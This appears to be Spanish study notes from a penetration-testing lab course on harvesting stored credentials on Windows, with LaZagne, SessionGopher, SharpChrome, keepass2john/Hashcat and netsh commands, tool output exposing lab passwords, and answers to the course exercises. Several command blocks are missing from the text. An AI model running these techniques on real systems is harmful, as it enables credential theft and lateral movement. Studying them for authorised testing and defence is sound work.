Existen muchas otras técnicas que podemos utilizar para obtener credenciales en un sistema Windows. Esta sección no cubrirá todos los escenarios posibles, pero analizaremos los más comunes.
Credenciales guardadas de Cmdkey
Listado de credenciales guardadas
El comando cmdkey se puede utilizar para crear, enumerar y eliminar nombres de usuario y contraseñas almacenados. Es posible que los usuarios deseen almacenar credenciales para un host específico o utilizarlo para almacenar credenciales para conexiones de servicios de terminal para conectarse a un host remoto mediante Escritorio remoto sin necesidad de ingresar una contraseña. Esto puede ayudarnos a movernos lateralmente a otro sistema con un usuario diferente o a escalar privilegios en el host actual para aprovechar las credenciales almacenadas para otro usuario.
Cuando intentamos conectarnos mediante RDP al host, se utilizarán las credenciales guardadas.
imagen
También podemos intentar reutilizar las credenciales runas para enviarnos un reverse shell como ese usuario, ejecutar un binario o iniciar una consola PowerShell o CMD con un comando como:
Los usuarios suelen almacenar en sus navegadores las credenciales de las aplicaciones que visitan con frecuencia. Podemos utilizar una herramienta como SharpChrome para recuperar las cookies y los inicios de sesión guardados de Google Chrome.
Nota: La recopilación de credenciales de los navegadores basados en Chromium genera eventos adicionales que podrían registrarse e identificarse como 4983, 4688, y 16385, y ser monitoreados por el Blue Team o un SOC.
Gestores de contraseñas
Muchas empresas proporcionan administradores de contraseñas a sus usuarios. Esto puede ser en forma de una aplicación de escritorio como KeePass, una solución basada en la nube como 1Password, o una bóveda de contraseñas empresarial como Thycotic o CyberArk. Obtener acceso a un administrador de contraseñas, especialmente uno utilizado por un miembro del personal de TI o un departamento completo, puede llevar al acceso a nivel de administrador a objetivos de alto valor como dispositivos de red, servidores, bases de datos, etc.
Podemos obtener acceso a una bóveda de contraseñas mediante la reutilización de contraseñas o adivinando una contraseña débil/común. Algunos administradores de contraseñas como KeePassse almacenan localmente en el host. Si encontramos un archivo .kdbx en un servidor, estación de trabajo o recurso compartido de archivos, sabemos que estamos tratando con una base de datos KeePass que a menudo está protegida solo por una contraseña maestra. Si podemos descargar un archivo .kdbx a nuestro host atacante, podemos usar una herramienta como keepass2john para extraer el hash de la contraseña y ejecutarlo a través de una herramienta de descifrado de contraseñas como Hashcat o John the Ripper .
Extracción del hash de KeePass
Primero, extraemos el hash en formato Hashcat usando el script. keepass2john, onstalado por defecto
Luego podemos enviar el hash a Hashcat, especificando el modo hash 13400 para KeePass. Si tenemos éxito, podemos obtener acceso a una gran cantidad de credenciales que se pueden usar para acceder a otras aplicaciones/sistemas o incluso dispositivos de red, servidores, bases de datos, etc., si podemos obtener acceso a una base de datos de contraseñas utilizada por el personal de TI.
Si obtenemos acceso a un sistema unido a un dominio en el contexto de un usuario de dominio con una bandeja de entrada de Microsoft Exchange, podemos intentar buscar en el correo electrónico del usuario términos como "contraseña", "credenciales", "password", etc. utilizando la herramienta MailSniper .
LaZagne
Cuando todo lo demás falla, podemos ejecutar la herramienta LaZagne para intentar recuperar credenciales de una amplia variedad de software. Dicho software incluye navegadores web, clientes de chat, bases de datos, correo electrónico, volcados de memoria, varias herramientas de administración de sistemas y mecanismos de almacenamiento de contraseñas internas (es decir, Autologon, Credman, DPAPI, secretos LSA, etc.). La herramienta se puede utilizar para ejecutar todos los módulos, módulos específicos (como bases de datos) o contra un software en particular (es decir, OpenVPN). El resultado se puede guardar en un archivo de texto estándar o en formato JSON. Vamos a probarlo.
Menú de ayuda de LaZagne
Podemos ver el menú de ayuda con la flag -h:
PS C:\htb> .\lazagne.exe -h
usage: lazagne.exe [-h] [-version]
{chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php}
...
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
positional arguments:
{chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php}
Choose a main command
chats Run chats module
mails Run mails module
all Run all modules
git Run git module
svn Run svn module
windows Run windows module
wifi Run wifi module
maven Run maven module
sysadmin Run sysadmin module
browsers Run browsers module
games Run games module
multimedia Run multimedia module
memory Run memory module
databases Run databases module
php Run php module
optional arguments:
-h, --help show this help message and exit
-version laZagne version
Ejecución de todos los módulos de LaZagne
Como podemos ver, hay muchos módulos disponibles. Al ejecutar la herramienta con la opción all, se buscarán aplicaciones compatibles y se devolverán las credenciales de texto sin formato que se encuentren. Como podemos ver en el ejemplo siguiente, muchas aplicaciones no almacenan las credenciales de forma segura (¡es mejor no almacenarlas nunca, punto!). Se pueden recuperar fácilmente y utilizar para escalar privilegios localmente, pasar a otro sistema o acceder a datos confidenciales:
PS C:\htb> .\lazagne.exe all
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
########## User: jordan ##########
------------------- Winscp passwords -----------------
[+] Password found !!!
URL: transfer.inlanefreight.local
Login: root
Password: Summer2020!
Port: 22
------------------- Credman passwords -----------------
[+] Password found !!!
URL: dev01.dev.inlanefreight.local
Login: jordan_adm
Password: ! Q A Z z a q 1
[+] 2 passwords have been found.
For more information launch it again with the -v option
elapsed time = 5.50499987602
SessionGopher
Podemos utilizar SessionGopher para extraer credenciales de PuTTY, WinSCP, FileZilla, SuperPuTTY y RDP guardadas. La herramienta está escrita en PowerShell y busca y descifra información de inicio de sesión guardada para herramientas de acceso remoto. Se puede ejecutar de forma local o remota. Busca en la HKEY_USERScolmena a todos los usuarios que hayan iniciado sesión en un host unido a un dominio (o independiente) y busca y descifra cualquier información de sesión guardada que pueda encontrar. También se puede ejecutar para buscar archivos de clave privada de PuTTY (.ppk), escritorio remoto (.rdp) y archivos RSA (.sdtid) en las unidades.
Ejecutar SessionGopher como usuario actual
Necesitamos acceso de administrador local para recuperar información de sesión almacenada para cada usuario en HKEY_USERS, pero siempre vale la pena ejecutar como nuestro usuario actual para ver si podemos encontrar credenciales útiles.
Almacenamiento de contraseñas en texto sin formato en el Registro
Ciertos programas y configuraciones de Windows pueden provocar que se almacenen contraseñas en texto sin formato u otros datos en el registro. Si bien herramientas como Lazagney SessionGopherson una excelente manera de extraer credenciales, como evaluadores de penetración también deberíamos estar familiarizados y cómodos con la enumeración manual de las mismas.
Inicio de sesión automático de Windows
El inicio de sesión automático de Windows es una función que permite al usuario configurar su sistema operativo Windows para iniciar sesión automáticamente en una cuenta de usuario específica, sin necesidad de introducir manualmente el nombre de usuario y la contraseña cada vez que se inicia el sistema. Sin embargo, una vez configurado, el nombre de usuario y la contraseña se almacenan en el registro, en texto sin formato. Esta función se utiliza habitualmente en sistemas de un solo usuario o en situaciones en las que la comodidad supera la necesidad de una mayor seguridad.
Las claves de registro asociadas con Autologon se pueden encontrar en la siguiente sección en HKEY_LOCAL_MACHINE y los usuarios estándar pueden acceder a ellas:
Nota: Si es absolutamente necesario configurar Autologon para su sistema Windows, se recomienda utilizar Autologon.exe de la suite Sysinternals, que cifrará la contraseña como un LSA Secret.
Putty
Para las sesiones de Putty que utilizan una conexión proxy, cuando se guarda la sesión, las credenciales se almacenan en el registro en texto sin formato.
Tenga en cuenta que los controles de acceso para esta clave de registro específica están vinculados a la cuenta de usuario que configuró y guardó la sesión. Por lo tanto, para poder verla, tendríamos que iniciar sesión como ese usuario y buscar en la HKEY_CURRENT_USERcolmena. Posteriormente, si tuviéramos privilegios de administrador, podríamos encontrarla en la colmena del usuario correspondiente en HKEY_USERS.
Enumeración de sesiones y búsqueda de credenciales
Primero, necesitamos enumerar las sesiones guardadas disponibles:
En este ejemplo, podemos imaginar el escenario en el que el administrador de TI ha configurado Putty para un usuario en su entorno, pero lamentablemente utilizó sus credenciales de administrador en la conexión proxy. La contraseña podría extraerse y potencialmente reutilizarse en la red.
Si obtenemos acceso de administrador local a la estación de trabajo de un usuario con una tarjeta inalámbrica, podemos enumerar todas las redes inalámbricas a las que se han conectado recientemente.
C:\htb> netsh wlan show profile
Profiles on interface Wi-Fi:
Group policy profiles (read only)
---------------------------------
<None>
User profiles
-------------
All User Profile : Smith Cabin
All User Profile : Bob's iPhone
All User Profile : EE_Guest
All User Profile : EE_Guest 2.4
All User Profile : ilfreight_corp
Recuperar contraseñas inalámbricas guardadas
Según la configuración de la red, podemos recuperar la clave compartida previamente ( Key Content a continuación) y potencialmente acceder a la red de destino. Si bien es poco frecuente, podemos encontrarnos con esto durante una interacción y usar este acceso para saltar a una red inalámbrica separada y obtener acceso a recursos adicionales.
C:\htb> netsh wlan show profile ilfreight_corp key=clear
Profile ilfreight_corp on interface Wi-Fi:
=======================================================================
Applied: All User Profile
Profile information
-------------------
Version : 1
Type : Wireless LAN
Name : ilfreight_corp
Control options :
Connection mode : Connect automatically
Network broadcast : Connect only if this network is broadcasting
AutoSwitch : Do not switch to other networks
MAC Randomization : Disabled
Connectivity settings
---------------------
Number of SSIDs : 1
SSID name : "ilfreight_corp"
Network type : Infrastructure
Radio type : [ Any Radio Type ]
Vendor extension : Not present
Security settings
-----------------
Authentication : WPA2-Personal
Cipher : CCMP
Authentication : WPA2-Personal
Cipher : GCMP
Security key : Present
Key Content : ILFREIGHTWIFI-CORP123908!
Cost settings
-------------
Cost : Unrestricted
Congested : No
Approaching Data Limit : No
Over Data Limit : No
Roaming : No
Cost Source : Default
Caso práctico
Objetivo: 10.129.43.43 (ACADEMY-WINLPE-SRV01)
RDP con el usuario "jordan" y contraseña "HTB_@cademy_j0rdan!"
Utilizando las técnicas cubiertas en esta sección, recupere la contraseña system admin para la cuenta de usuario SQL01.inlanefreight.local.
Vamos a usar Lazagne como primera opción para encontrar contraseñas de usuarios del sistema:
PS C:\tools> .\lazagne.exe all
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
########## User: jordan ##########
------------------- Winscp passwords -----------------
[+] Password found !!!
URL: transfer.inlanefreight.local
Login: root
Password: Summer2020!
Port: 22
------------------- Dbvis passwords -----------------
[+] Password found !!!
Name: SQL01.inlanefreight.local
Driver:
SQL Server (Microsoft JDBC Driver)
Host: localhost
Login: sa
Password: S3cret_db_p@ssw0rd!
Port: 1433
[+] 2 passwords have been found.
For more information launch it again with the -v option
elapsed time = 7.92199993134
Bingo! Tenemos la contraseña de SQL01.inlanefreight.local
Pregunta 2
RDP con el usuario "htb-student" y contraseña "HTB_@cademy_stdnt!"
¿Qué usuario tiene credenciales almacenadas para el acceso RDP al host WEB01?
En nuestro caso el usuario amanda parece que no es un usuario del sistema, por lo que no podemos hacer gran cosa.
PS C:\Users\htb-student> net user
User accounts for \\WINLPE-SRV01
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
helpdesk htb-student htb-student_adm
jordan logger mrb3n
sarah sccm_svc secsvc
sql_dev
The command completed successfully.
Pregunta 3
Busque y envíe la contraseña para que el usuario root acceda a https://vc01.inlanefreight.local/ui/login
Al inspeccionar las credenciales guardadas en Chrome con SharpChrome.exe encontramos la contraseña: